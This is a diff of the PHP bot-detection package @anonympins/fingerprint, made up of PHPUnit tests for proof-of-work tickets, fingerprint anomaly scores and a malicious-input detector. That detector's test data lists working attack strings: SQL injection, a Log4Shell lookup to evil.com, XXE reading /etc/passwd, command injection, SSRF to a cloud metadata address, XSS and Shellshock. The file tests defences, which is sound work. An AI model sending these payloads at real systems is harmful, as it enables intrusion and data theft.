@anonympins/fingerprint 0.4.6 → 0.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,82 +1,286 @@
1
- <?php
2
-
3
- declare(strict_types=1);
4
-
5
- namespace Anonympins\Fingerprint\Tests;
6
-
7
- use Anonympins\Fingerprint\Challenge\ChallengeUtils;
8
- use Anonympins\Fingerprint\Utils\BigInt;
9
- use PHPUnit\Framework\TestCase;
10
-
11
- class ChallengeUtilsTest extends TestCase
12
- {
13
- protected function setUp(): void
14
- {
15
- // Définir une clé secrète pour les tests
16
- $_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
17
- }
18
-
19
- public function testIsTicketValid(): void
20
- {
21
- $ip = '127.0.0.1';
22
- $expiry = (int)floor(microtime(true) * 1000) + 3600000; // 1 heure
23
- $signature = hash_hmac('sha256', "{$ip}:{$expiry}", $_ENV['POW_SECRET']);
24
- $validTicket = "{$expiry}:{$signature}";
25
-
26
- $this->assertTrue(ChallengeUtils::isTicketValid($ip, $validTicket));
27
- $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $validTicket), "Le ticket ne doit pas être valide pour une autre IP.");
28
-
29
- $expiredExpiry = (int)floor(microtime(true) * 1000) - 1000;
30
- $expiredSignature = hash_hmac('sha256', "{$ip}:{$expiredExpiry}", $_ENV['POW_SECRET']);
31
- $expiredTicket = "{$expiredExpiry}:{$expiredSignature}";
32
- $this->assertFalse(ChallengeUtils::isTicketValid($ip, $expiredTicket), "Un ticket expiré doit être invalide.");
33
-
34
- $this->assertFalse(ChallengeUtils::isTicketValid($ip, 'invalid-ticket-format'), "Un format de ticket invalide doit être rejeté.");
35
- }
36
-
37
- public function testCpuTargetCalculation(): void
38
- {
39
- $config = ['cpu' => ['minDifficultyBits' => 8, 'maxDifficultyBits' => 24]];
40
-
41
- // Low suspicion -> minimum difficulty
42
- $targetLow = ChallengeUtils::calculateCpuTarget(0.0, $config);
43
- $expectedTargetLow = (new BigInt(1))->shiftLeft(256 - 8);
44
- $this->assertEquals(0, BigInt::fromHex($targetLow)->compareTo($expectedTargetLow), "Target for 0.0 suspicion should correspond to 8 bits of difficulty.");
45
-
46
- // High suspicion -> maximum difficulty
47
- $targetHigh = ChallengeUtils::calculateCpuTarget(1.0, $config);
48
- $expectedTargetHigh = (new BigInt(1))->shiftLeft(256 - 24);
49
- $this->assertEquals(0, BigInt::fromHex($targetHigh)->compareTo($expectedTargetHigh), "Target for 1.0 suspicion should correspond to 24 bits of difficulty.");
50
-
51
- // Medium suspicion -> intermediate difficulty
52
- $targetMid = ChallengeUtils::calculateCpuTarget(0.5, $config);
53
- $expectedBits = 8 + 0.5 * (24 - 8); // 16 bits
54
- $expectedTargetMid = (new BigInt(1))->shiftLeft(256 - (int)$expectedBits);
55
- $this->assertEquals(0, BigInt::fromHex($targetMid)->compareTo($expectedTargetMid), "Target for 0.5 suspicion should correspond to 16 bits of difficulty.");
56
- }
57
-
58
- public function testVerifyCpuTargetPoW(): void
59
- {
60
- $ip = '127.0.0.1';
61
- $nonce = 'test-nonce';
62
- $fingerprint = 'ua:test-fp';
63
- $clientSecret = 'test-secret';
64
- $baseBlock = ChallengeUtils::createCpuChallengeBaseBlock($nonce, $clientSecret, $fingerprint);
65
-
66
- // Cible facile pour un test rapide (ex: 4 zéros hexadécimaux -> 16 bits)
67
- $targetHex = '0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
68
- $challengeContext = ['cpuTarget' => $targetHex, 'baseBlock' => $baseBlock];
69
-
70
- // Trouver une solution valide
71
- $solution = 0;
72
- while (true) {
73
- $hash = hash('sha256', $baseBlock . $solution);
74
- if (strcmp($hash, $targetHex) < 0) break;
75
- $solution++;
76
- }
77
-
78
- $ticket = ChallengeUtils::verifyCpuTargetPoWAndGenerateTicket($ip, 3600, $nonce, (string)$solution, $challengeContext);
79
- $this->assertNotNull($ticket, "Un ticket valide aurait dû être généré.");
80
- $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket));
81
- }
1
+ <?php
2
+
3
+ declare(strict_types=1);
4
+
5
+ namespace Anonympins\Fingerprint\Tests;
6
+
7
+ use Anonympins\Fingerprint\Challenge\ChallengeUtils;
8
+ use Anonympins\Fingerprint\Utils\BigInt;
9
+ use PHPUnit\Framework\TestCase;
10
+
11
+ class ChallengeUtilsTest extends TestCase
12
+ {
13
+ public function testGpuPowDeterministicHashing(): void
14
+ {
15
+ $seed = 'test-seed-determinism';
16
+ $f1 = ChallengeUtils::hashSeedToFloat($seed);
17
+ $f2 = ChallengeUtils::hashSeedToFloat($seed);
18
+ $f3 = ChallengeUtils::hashSeedToFloat('different-seed');
19
+
20
+ $this->assertEquals($f1, $f2, 'Seed hashing must be deterministic.');
21
+ $this->assertGreaterThanOrEqual(0, $f1);
22
+ $this->assertLessThan(1, $f1);
23
+ $this->assertNotEquals($f1, $f3);
24
+ }
25
+
26
+ public function testGpuPowVerificationRejectsTamperedSolution(): void
27
+ {
28
+ $seed = 'php-verification-seed';
29
+ $iterations = 100;
30
+
31
+ // Generate correct solutions mimicking the GPU solver trajectory
32
+ $numericSeed = ChallengeUtils::hashSeedToFloat($seed);
33
+ $r = 3.9999;
34
+ $solutions = [];
35
+ $fround = function (float $value): float {
36
+ return unpack('f', pack('f', $value))[1];
37
+ };
38
+
39
+ for ($idx = 0; $idx < 64; $idx++) {
40
+ $x = $fround($numericSeed + $idx * 0.015);
41
+ $rFloat = $fround($r);
42
+ for ($i = 0; $i < $iterations; $i++) {
43
+ $x = $fround($rFloat * $x * $fround(1.0 - $x));
44
+ }
45
+ $solutions[] = number_format($x, 6, '.', '');
46
+ }
47
+ $validSolution = implode(',', $solutions);
48
+
49
+ $this->assertTrue(ChallengeUtils::verifyGpuPow($seed, $iterations, $validSolution));
50
+
51
+ // Tamper with value on verified sample index 12
52
+ $tampered = $solutions;
53
+ $tampered[12] = (string)((float)$tampered[12] + 0.0002); // Out of tolerance
54
+ $this->assertFalse(ChallengeUtils::verifyGpuPow($seed, $iterations, implode(',', $tampered)));
55
+ }
56
+
57
+ public function testGpuPowVerification(): void
58
+ {
59
+ $seed = 'php-gpu-test-seed';
60
+ $iterations = 50;
61
+
62
+ $hash = 0;
63
+ for ($i = 0; $i < strlen($seed); $i++) {
64
+ $hash = (($hash << 5) - $hash + ord($seed[$i])) & 0xffffffff;
65
+ if ($hash & 0x80000000) {
66
+ $hash = $hash - 0x100000000;
67
+ }
68
+ }
69
+ $numericSeed = abs($hash % 1000000) / 1000000;
70
+ $r = 3.9999;
71
+ $solutions = [];
72
+ $fround = function (float $value): float {
73
+ return unpack('f', pack('f', $value))[1];
74
+ };
75
+ for ($idx = 0; $idx < 64; $idx++) {
76
+ $x = $fround($numericSeed + $idx * 0.015);
77
+ $rFloat = $fround($r);
78
+ for ($i = 0; $i < $iterations; $i++) {
79
+ $x = $fround($rFloat * $x * $fround(1.0 - $x));
80
+ }
81
+ $solutions[] = number_format($x, 6, '.', '');
82
+ }
83
+ $solutionString = implode(',', $solutions);
84
+ $this->assertTrue(ChallengeUtils::verifyGpuPow($seed, $iterations, $solutionString));
85
+ $tamperedSolutions = $solutions;
86
+ $tamperedSolutions[0] = (string)((float)$tamperedSolutions[0] + 0.1);
87
+ $this->assertFalse(ChallengeUtils::verifyGpuPow($seed, $iterations, implode(',', $tamperedSolutions)));
88
+ }
89
+
90
+ protected function setUp(): void
91
+ {
92
+ // Définir une clé secrète pour les tests
93
+ $_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
94
+ }
95
+
96
+ public function testZkpProofValidation(): void
97
+ {
98
+ $fp = 'cvs:12345|gpu:67890';
99
+ $p = BigInt::fromHex('fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f');
100
+ $g = new BigInt(2);
101
+
102
+ $x = BigInt::fromHex(hash('sha256', $fp))->mod($p);
103
+ $y = $g->modPow($x, $p);
104
+ $v = new BigInt(987654321);
105
+ $t = $g->modPow($v, $p);
106
+
107
+ $cStr = (string)$g . (string)$y . (string)$t;
108
+ $c = BigInt::fromHex(hash('sha256', $cStr))->mod($p);
109
+ $s = $v->add($c->mul($x))->mod($p->sub(new BigInt(1)));
110
+
111
+ $zkpProof = $y->toHex() . ':' . $t->toHex() . ':' . $s->toHex();
112
+ $this->assertTrue(ChallengeUtils::verifyZkpProof($y->toHex(), $t->toHex(), $s->toHex()));
113
+
114
+ $ticket = ChallengeUtils::generateStatelessTicket([
115
+ 'expiry' => (time() + 3600) * 1000,
116
+ 'originalIp' => '127.0.0.1',
117
+ 'deviceId' => 'dev-zkp',
118
+ 'deviceHash' => 'zkp:' . $y->toHex()
119
+ ]);
120
+
121
+ $this->assertTrue(ChallengeUtils::isTicketValid('127.0.0.1', $ticket, 'dev-zkp', '', false, '', $zkpProof));
122
+ }
123
+
124
+ public function testIsTicketValid(): void
125
+ {
126
+ $ip = '127.0.0.1';
127
+ $expiry = (int)floor(microtime(true) * 1000) + 3600000; // 1 heure
128
+ $signature = hash_hmac('sha256', "{$ip}:{$expiry}", $_ENV['POW_SECRET']);
129
+ $validTicket = "{$expiry}:{$signature}";
130
+
131
+ $this->assertTrue(ChallengeUtils::isTicketValid($ip, $validTicket));
132
+ $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $validTicket), "Le ticket ne doit pas être valide pour une autre IP.");
133
+
134
+ $expiredExpiry = (int)floor(microtime(true) * 1000) - 1000;
135
+ $expiredSignature = hash_hmac('sha256', "{$ip}:{$expiredExpiry}", $_ENV['POW_SECRET']);
136
+ $expiredTicket = "{$expiredExpiry}:{$expiredSignature}";
137
+ $this->assertFalse(ChallengeUtils::isTicketValid($ip, $expiredTicket), "Un ticket expiré doit être invalide.");
138
+
139
+ $this->assertFalse(ChallengeUtils::isTicketValid($ip, 'invalid-ticket-format'), "Un format de ticket invalide doit être rejeté.");
140
+ }
141
+
142
+ public function testCpuTargetCalculation(): void
143
+ {
144
+ $config = ['cpu' => ['minDifficultyBits' => 8, 'maxDifficultyBits' => 24]];
145
+
146
+ // Low suspicion -> minimum difficulty
147
+ $targetLow = ChallengeUtils::calculateCpuTarget(0.0, $config);
148
+ $expectedTargetLow = (new BigInt(1))->shiftLeft(256 - 8);
149
+ $this->assertEquals(0, BigInt::fromHex($targetLow)->compareTo($expectedTargetLow), "Target for 0.0 suspicion should correspond to 8 bits of difficulty.");
150
+
151
+ // High suspicion -> maximum difficulty
152
+ $targetHigh = ChallengeUtils::calculateCpuTarget(1.0, $config);
153
+ $expectedTargetHigh = (new BigInt(1))->shiftLeft(256 - 24);
154
+ $this->assertEquals(0, BigInt::fromHex($targetHigh)->compareTo($expectedTargetHigh), "Target for 1.0 suspicion should correspond to 24 bits of difficulty.");
155
+
156
+ // Medium suspicion -> intermediate difficulty
157
+ $targetMid = ChallengeUtils::calculateCpuTarget(0.5, $config);
158
+ $expectedBits = 8 + 0.5 * (24 - 8); // 16 bits
159
+ $expectedTargetMid = (new BigInt(1))->shiftLeft(256 - (int)$expectedBits);
160
+ $this->assertEquals(0, BigInt::fromHex($targetMid)->compareTo($expectedTargetMid), "Target for 0.5 suspicion should correspond to 16 bits of difficulty.");
161
+ }
162
+
163
+ public function testVerifyCpuTargetPoW(): void
164
+ {
165
+ $ip = '127.0.0.1';
166
+ $nonce = 'test-nonce';
167
+ $fingerprint = 'ua:test-fp';
168
+ $clientSecret = 'test-secret';
169
+ $baseBlock = ChallengeUtils::createCpuChallengeBaseBlock($nonce, $clientSecret, $fingerprint);
170
+
171
+ // Cible facile pour un test rapide (ex: 4 zéros hexadécimaux -> 16 bits)
172
+ $targetHex = '0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
173
+ $challengeContext = ['cpuTarget' => $targetHex, 'baseBlock' => $baseBlock];
174
+
175
+ // Trouver une solution valide
176
+ $solution = 0;
177
+ while (true) {
178
+ $hash = hash('sha256', $baseBlock . $solution);
179
+ if (strcmp($hash, $targetHex) < 0) break;
180
+ $solution++;
181
+ }
182
+
183
+ $ticket = ChallengeUtils::verifyCpuTargetPoWAndGenerateTicket($ip, 3600, $nonce, (string)$solution, $challengeContext);
184
+ $this->assertNotNull($ticket, "Un ticket valide aurait dû être généré.");
185
+ $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket));
186
+ }
187
+
188
+ public function testEd25519TicketValidation(): void
189
+ {
190
+ if (!extension_loaded('openssl')) {
191
+ $this->markTestSkipped('openssl extension is not loaded.');
192
+ }
193
+
194
+ if (!defined('OPENSSL_KEYTYPE_ED25519')) {
195
+ $this->markTestSkipped('Ed25519 is not supported or constant OPENSSL_KEYTYPE_ED25519 is undefined in this PHP/OpenSSL environment.');
196
+ }
197
+
198
+ $pkey = @openssl_pkey_new(["private_key_type" => constant('OPENSSL_KEYTYPE_ED25519')]);
199
+ if (!$pkey) {
200
+ $this->markTestSkipped('Ed25519 is not supported in this PHP/OpenSSL environment.');
201
+ }
202
+
203
+ openssl_pkey_export($pkey, $privateKeyPem);
204
+ $details = openssl_pkey_get_details($pkey);
205
+ $publicKeyPem = $details['key'];
206
+
207
+ // Test if openssl_sign supports null algorithm for Ed25519 (PHP 8.0.0 bug)
208
+ $testSig = '';
209
+ $testPriv = @openssl_pkey_get_private($privateKeyPem);
210
+ try {
211
+ if (!$testPriv || !@openssl_sign('test', $testSig, $testPriv, null)) {
212
+ $this->markTestSkipped('Ed25519 signing is not fully supported or buggy in this PHP/OpenSSL environment.');
213
+ }
214
+ } catch (\TypeError $e) {
215
+ $this->markTestSkipped('Ed25519 signing is not supported due to PHP 8.0.0 openssl_sign() null algorithm bug.');
216
+ }
217
+
218
+ $_ENV['ED25519_PRIVATE_KEY'] = $privateKeyPem;
219
+ $_ENV['ED25519_PUBLIC_KEY'] = $publicKeyPem;
220
+
221
+ $ip = '127.0.0.1';
222
+ $expiry = (int)floor(microtime(true) * 1000) + 3600000;
223
+ $payload = [
224
+ 'expiry' => $expiry,
225
+ 'originalIp' => $ip,
226
+ 'deviceId' => 'device-123',
227
+ 'deviceHash' => 'hash-abc'
228
+ ];
229
+
230
+ $ticket = ChallengeUtils::generateStatelessTicket($payload);
231
+ $this->assertStringStartsWith('ed25519.', $ticket);
232
+
233
+ $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket, 'device-123', 'hash-abc'));
234
+ $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $ticket, 'device-123', 'hash-abc'));
235
+
236
+ unset($_ENV['ED25519_PRIVATE_KEY'], $_ENV['ED25519_PUBLIC_KEY']);
237
+ }
238
+
239
+ public function testCooperativePoSpaceWorkflow(): void
240
+ {
241
+ $clientIp = '127.0.0.1';
242
+ $nodeIdA = 'node-a';
243
+ $seedA = 'seed-a';
244
+
245
+ // 1. Enregistrement du nœud A (pair)
246
+ ChallengeUtils::registerCooperativeNode($clientIp, $nodeIdA, $seedA);
247
+
248
+ // 2. Recherche de pair pour le nœud B (dans le même sous-réseau)
249
+ $peer = ChallengeUtils::findPeerInSubnet($clientIp, 'node-b');
250
+ $this->assertNotNull($peer);
251
+ $this->assertEquals($nodeIdA, $peer['nodeId']);
252
+ $this->assertEquals($seedA, $peer['seed']);
253
+
254
+ // 3. Demande de bloc du nœud B vers le nœud A
255
+ $paramsReq = [
256
+ 'coop_op' => 'request_peer_block',
257
+ 'node_id' => 'node-b',
258
+ 'peer_id' => 'node-a',
259
+ 'block_idx' => '42',
260
+ 'req_id' => 'req-123'
261
+ ];
262
+ $resReq = ChallengeUtils::handleCooperativeRequest($paramsReq);
263
+ $this->assertEquals('queued', $resReq['status']);
264
+
265
+ // 4. Récupération de la demande par le nœud A
266
+ $paramsPoll = [
267
+ 'coop_op' => 'poll_requests',
268
+ 'node_id' => 'node-a'
269
+ ];
270
+ $resPoll = ChallengeUtils::handleCooperativeRequest($paramsPoll);
271
+ $this->assertCount(1, $resPoll['requests']);
272
+ $this->assertEquals('req-123', $resPoll['requests'][0]['req_id']);
273
+ $this->assertEquals(42, $resPoll['requests'][0]['block_idx']);
274
+
275
+ // 5. Réponse avec la donnée de bloc par le nœud A
276
+ $paramsResp = [
277
+ 'coop_op' => 'respond_block',
278
+ 'node_id' => 'node-a',
279
+ 'requester_id' => 'node-b',
280
+ 'req_id' => 'req-123',
281
+ 'block_data' => 'dummy-block-data-xyz'
282
+ ];
283
+ $resResp = ChallengeUtils::handleCooperativeRequest($paramsResp);
284
+ $this->assertEquals('delivered', $resResp['status']);
285
+ }
82
286
  }
@@ -0,0 +1,104 @@
1
+ <?php
2
+
3
+ declare(strict_types=1);
4
+
5
+ namespace Anonympins\Fingerprint\Tests;
6
+
7
+ use Anonympins\Fingerprint\Utils\MaliciousPatterns;
8
+ use PHPUnit\Framework\TestCase;
9
+
10
+ class MaliciousPatternsTest extends TestCase
11
+ {
12
+ /**
13
+ * @dataProvider maliciousProvider
14
+ */
15
+ public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
16
+ {
17
+ $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
18
+ }
19
+
20
+ /**
21
+ * @dataProvider openRedirectProvider
22
+ */
23
+ public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
24
+ {
25
+ $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
26
+ }
27
+
28
+ public function maliciousProvider(): array
29
+ {
30
+ return [
31
+ // SQL Injections
32
+ ["' OR '1'='1", true],
33
+ ["UNION SELECT username, password FROM users", true],
34
+ ["normal text with no SQL", false],
35
+
36
+ // Log4Shell
37
+ ['${jndi:ldap://evil.com/a}', true],
38
+ ['normal log ${user.name}', false],
39
+
40
+ // SSTI
41
+ ['{{ 7*7 }}', true],
42
+ ['{% if user.isAdmin %}', true],
43
+ ['simple {braces}', false],
44
+
45
+ // XXE
46
+ ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
47
+ ['<!DOCTYPE html>', false],
48
+
49
+ // Path Traversal
50
+ ['../../etc/passwd', true],
51
+ ['..\\..\\win.ini', true],
52
+ ['normal/path/to/file', false],
53
+
54
+ // RCE
55
+ ['`whoami`', true],
56
+ ['; ping -c 4 8.8.8.8', true],
57
+ ['normal ping command desc', false],
58
+
59
+ // SSRF
60
+ ['http://127.0.0.1/admin', true],
61
+ ['https://localhost:8443', true],
62
+ ['http://169.254.169.254/latest/meta-data', true],
63
+ ['https://google.com', false],
64
+
65
+ // CRLF
66
+ ["test\r\nHeader: value", true],
67
+ ["%0d%0aHeader: value", true],
68
+ ["clean string", false],
69
+
70
+ // XSS
71
+ ['<script>alert(1)</script>', true],
72
+ ['javascript:alert(1)', true],
73
+ ['<img src=x onerror=alert(1)>', true],
74
+ ['<b>bold text</b>', false],
75
+
76
+ // LFI/RFI
77
+ ['etc/passwd', true],
78
+ ['win.ini', true],
79
+ ['php://filter/resource=index.php', true],
80
+ ['normal_file.txt', false],
81
+
82
+ // Shellshock
83
+ ['() { :; }; echo "Vulnerable"', true],
84
+ ['() { :;};', true],
85
+ ['function test() {}', false],
86
+
87
+ // NoSQL Operator Injection
88
+ ['$gt', true],
89
+ ['$elemMatch', true],
90
+ ['$where', true],
91
+ ['This is $10', false],
92
+ ];
93
+ }
94
+
95
+ public function openRedirectProvider(): array
96
+ {
97
+ return [
98
+ ['https://evil.com/redirect', true],
99
+ ['//malicious-site.com', true],
100
+ ['/local/path', false],
101
+ ['http://localhost/dashboard', false],
102
+ ];
103
+ }
104
+ }
@@ -0,0 +1,54 @@
1
+ <?php
2
+
3
+ declare(strict_types=1);
4
+
5
+ namespace Anonympins\Fingerprint\Tests;
6
+
7
+ use Anonympins\Fingerprint\RequestContext;
8
+ use Anonympins\Fingerprint\Utils\RequestUtils;
9
+ use PHPUnit\Framework\TestCase;
10
+
11
+ class QuicFingerprintTest extends TestCase
12
+ {
13
+ public function testGetQuicAnomalyScoreReturnsZeroIfNoFp(): void
14
+ {
15
+ $context = $this->createMock(RequestContext::class);
16
+ $context->method('getHeader')->willReturn(null);
17
+ $res = RequestUtils::getQuicAnomalyScore($context);
18
+ $this->assertEquals(0.0, $res['quicAnomalyScore']);
19
+ }
20
+
21
+ public function testGetQuicAnomalyScoreDetectsSpoofedChrome(): void
22
+ {
23
+ $context = $this->createMock(RequestContext::class);
24
+ $context->method('getHeader')->willReturnCallback(function($name) {
25
+ if ($name === 'user-agent') {
26
+ return 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';
27
+ }
28
+ if ($name === 'x-quic-fp') {
29
+ return '1;1=65536,4=50;i=0';
30
+ }
31
+ return null;
32
+ });
33
+
34
+ $res = RequestUtils::getQuicAnomalyScore($context);
35
+ $this->assertEquals(100.0, $res['quicAnomalyScore']);
36
+ }
37
+
38
+ public function testGetQuicAnomalyScoreAllowsLegitChrome(): void
39
+ {
40
+ $context = $this->createMock(RequestContext::class);
41
+ $context->method('getHeader')->willReturnCallback(function($name) {
42
+ if ($name === 'user-agent') {
43
+ return 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';
44
+ }
45
+ if ($name === 'x-quic-fp') {
46
+ return '1;1=1572864,4=100;u=2,i';
47
+ }
48
+ return null;
49
+ });
50
+
51
+ $res = RequestUtils::getQuicAnomalyScore($context);
52
+ $this->assertEquals(0.0, $res['quicAnomalyScore']);
53
+ }
54
+ }
@@ -48,6 +48,28 @@ class RequestUtilsTest extends TestCase
48
48
  $score = RequestUtils::getCrossLayerInconsistency($context);
49
49
  $this->assertEquals(20.0, $score['crossLayerInconsistencyScore']);
50
50
  }
51
+ public function testGetRenderingAnomalyScoreEmpty(): void
52
+ {
53
+ $context = $this->createRequestContext();
54
+ $res = RequestUtils::getRenderingAnomalyScore($context);
55
+ $this->assertEquals(0.0, $res['renderingAnomalyScore']);
56
+ }
57
+
58
+ public function testGetRenderingAnomalyScoreSpoofed(): void
59
+ {
60
+ $metrics = [
61
+ 'rendering' => [
62
+ 'fps' => 60,
63
+ 'jitter' => 12.5,
64
+ 'offscreenAnom' => false
65
+ ]
66
+ ];
67
+ $context = $this->createRequestContext([
68
+ 'headers' => ['x-behavior-metrics' => json_encode($metrics)]
69
+ ]);
70
+ $res = RequestUtils::getRenderingAnomalyScore($context);
71
+ $this->assertEquals(65.0, $res['renderingAnomalyScore']);
72
+ }
51
73
  public function testGetClickVarianceScoreReturnsZeroForNoHistory(): void
52
74
  {
53
75
  $context = $this->createRequestContext([
@@ -185,6 +207,27 @@ class RequestUtilsTest extends TestCase
185
207
  $this->assertEquals(40.0, $scoreNoActivity['behaviorScore']);
186
208
  }
187
209
 
210
+ public function testGetBehaviorScoreWithBotLikeKeystrokeDynamics(): void
211
+ {
212
+ $metrics = [
213
+ 'honeypotInteraction' => false,
214
+ 'keystrokeLatency' => 100.0,
215
+ 'keystrokeDwellTimes' => [50, 50, 50, 50, 50],
216
+ 'keystrokeFlightTimes' => [
217
+ ['digraph' => 'ab', 'time' => 100],
218
+ ['digraph' => 'bc', 'time' => 100],
219
+ ['digraph' => 'cd', 'time' => 100],
220
+ ['digraph' => 'de', 'time' => 100],
221
+ ['digraph' => 'ef', 'time' => 100]
222
+ ]
223
+ ];
224
+ $context = $this->createRequestContext([
225
+ 'headers' => ['x-behavior-metrics' => json_encode($metrics)]
226
+ ]);
227
+ $score = RequestUtils::getBehaviorScore($context);
228
+ $this->assertGreaterThanOrEqual(70.0, $score['behaviorScore']);
229
+ }
230
+
188
231
  public function testGetBehaviorScoreWithBotLikeTouchMovements(): void
189
232
  {
190
233
  $metrics = [